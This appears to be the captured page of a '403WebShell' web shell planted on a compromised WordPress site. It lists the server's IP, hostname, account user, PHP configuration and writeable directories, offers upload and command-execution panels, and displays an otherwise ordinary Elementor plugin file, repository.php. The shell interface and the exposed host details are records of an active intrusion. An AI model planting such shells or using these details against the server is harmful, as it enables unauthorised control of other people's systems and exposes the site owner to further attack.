Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.57.239
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/elementor/modules/global-classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/elementor/modules/global-classes/repository.php
<?php
namespace Elementor\Modules\GlobalClasses;

use Elementor\Core\Kits\Documents\Kit;
use Elementor\Modules\AtomicWidgets\Styles\Utils as Atomic_Styles_Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Repository {
	const META_KEY = '_elementor_global_classes';

	private Kit $kit;

	public function __construct( Kit $kit ) {
		$this->kit = $kit;
	}

	public function all() {
		$all = $this->kit->get_json_meta( self::META_KEY );

		return Global_Classes::make( $all['items'] ?? [], $all['order'] ?? [] );
	}

	public function get( string $id ) {
		return $this->all()->get_items()->get( $id );
	}

	public function delete( string $id ) {
		$all = $this->all();

		if ( ! isset( $all->get_items()[ $id ] ) ) {
			throw new \Exception( "Global class with id ${id} not found" );
		}

		$this->kit->update_json_meta( self::META_KEY, [
			'items' => $all->get_items()->except( [ $id ] )->all(),
			'order' => $all->get_order()->filter( fn( $item ) => $item !== $id )->all(),
		] );
	}

	public function patch( string $id, array $value ) {
		$all = $this->all();

		unset( $value['id'] );

		if ( ! isset( $all->get_items()[ $id ] ) ) {
			throw new \Exception( "Global class with id ${id} not found" );
		}

		$value = $this->kit->update_json_meta( self::META_KEY, [
			'items' => $all->get_items()->merge( [ $id => $value ] )->all(),
			'order' => $all->get_order()->all(),
		] );

		if ( ! $value ) {
			throw new \Exception( 'Failed to update global class' );
		}

		return $this->get( $id );
	}

	public function create( array $value ) {
		$all = $this->all();
		$id = $this->generate_global_class_id();

		$value['id'] = $id;

		$updated = $this->kit->update_json_meta( self::META_KEY, [
			'items' => $all->get_items()->merge( [ $id => $value ] )->all(),
			'order' => $all->get_order()->push( $id )->all(),
		] );

		if ( ! $updated ) {
			throw new \Exception( 'Failed to create global class' );
		}

		return $this->get( $id );
	}

	public function arrange( array $value ) {
		$all = $this->all();

		$updated = $this->kit->update_json_meta( self::META_KEY, [
			'items' => $all->get_items()->all(),
			'order' => $value,
		] );

		if ( ! $updated ) {
			throw new \Exception( 'Failed to arrange global classes' );
		}

		return $this->all()->get_order()->all();
	}

	private function generate_global_class_id() {
		$existing_ids = $this->all()->get_items()->keys();
		$kit_id = $this->kit->get_id();

		return Atomic_Styles_Utils::generate_id( 'g-' . $kit_id . '-', $existing_ids );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit